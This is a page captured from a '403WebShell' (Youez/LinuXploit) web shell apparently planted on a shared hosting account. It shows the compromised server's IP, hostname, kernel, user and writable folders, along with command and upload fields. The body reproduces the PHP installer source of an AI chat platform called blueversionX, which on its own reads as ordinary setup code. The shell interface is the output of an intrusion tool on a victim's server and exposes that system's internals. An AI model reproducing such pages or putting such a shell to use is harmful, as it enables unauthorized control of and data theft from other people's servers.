Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.217.35
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/chatblueversion/install/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/chatblueversion/install/index.php
<?php
$error='';$done=false;
if($_SERVER['REQUEST_METHOD']==='POST'){try{$db=['host'=>trim($_POST['db_host']),'port'=>trim($_POST['db_port']?:'3306'),'name'=>trim($_POST['db_name']),'user'=>trim($_POST['db_user']),'pass'=>$_POST['db_pass']];$pdo=new PDO("mysql:host={$db['host']};port={$db['port']};dbname={$db['name']};charset=utf8mb4",$db['user'],$db['pass'],[PDO::ATTR_ERRMODE=>PDO::ERRMODE_EXCEPTION]);foreach(array_filter(array_map('trim',explode('-- split',file_get_contents(__DIR__.'/schema.sql')))) as $q)$pdo->exec($q);$id=bin2hex(random_bytes(16));$s=$pdo->prepare("INSERT INTO users(id,email,name,password_hash,role,status) VALUES(?,?,?,?, 'admin','active')");$s->execute([$id,strtolower(trim($_POST['admin_email'])),trim($_POST['admin_name']),password_hash($_POST['admin_password'],PASSWORD_DEFAULT)]);$url=rtrim($_POST['app_url'],'/');$cfg=['installed'=>true,'app_url'=>$url,'app_name'=>'BlueversionX','db'=>$db,'openai'=>['key'=>trim($_POST['openai_key']),'model'=>'gpt-5.6-luna'],'google'=>['client_id'=>'','client_secret'=>'','redirect_uri'=>$url.'/auth/google-callback.php'],'paygate'=>['key'=>'','url'=>''],'paystack'=>['public_key'=>'','secret_key'=>''],'flutterwave'=>['public_key'=>'','secret_key'=>'','webhook_hash'=>''],'session_secret'=>bin2hex(random_bytes(32))];if(!file_put_contents(dirname(__DIR__).'/config.php',"<?php\nreturn ".var_export($cfg,true).";\n",LOCK_EX))throw new Exception('Cannot create config.php. Set folder permissions to 755 or 775.');$done=true;}catch(Throwable $e){$error=$e->getMessage();}}
?><!doctype html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width"><title>Install blueversionX</title><link rel="icon" href="../favicon.svg"><link rel="stylesheet" href="../assets/style.css"></head><body><div class="installShell"><main class="installCard"><img class="logo" src="../assets/blueversionx-logo.svg" alt="blueversionX"><p>BLUEVERSIONX SETUP</p><h1><?=$done?'Installation complete':'Install your AI platform'?></h1><?php if($done):?><p>blueversionX is ready. Rename or delete the install folder.</p><a href="../login.php">Open blueversionX</a><?php else:?><?php if($error):?><p class="error"><?=htmlspecialchars($error)?></p><?php endif?><form method="post"><h2>Website</h2><label>Website URL<input name="app_url" value="https://chat.blueversionx.com" required></label><h2>MySQL database</h2><div class="installGrid"><label>Host<input name="db_host" value="localhost" required></label><label>Port<input name="db_port" value="3306" required></label><label>Database name<input name="db_name" required></label><label>Database user<input name="db_user" required></label><label class="full">Database password<input type="password" name="db_pass"></label></div><h2>Administrator</h2><div class="installGrid"><label>Name<input name="admin_name" required></label><label>Email<input type="email" name="admin_email" required></label><label class="full">Password<input type="password" name="admin_password" minlength="10" required></label></div><h2>AI connection</h2><label>New OpenAI API key<input type="password" name="openai_key" autocomplete="off"><small>Optional. Never use the key previously exposed in chat.</small></label><button>Install blueversionX</button></form><?php endif?></main></div></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit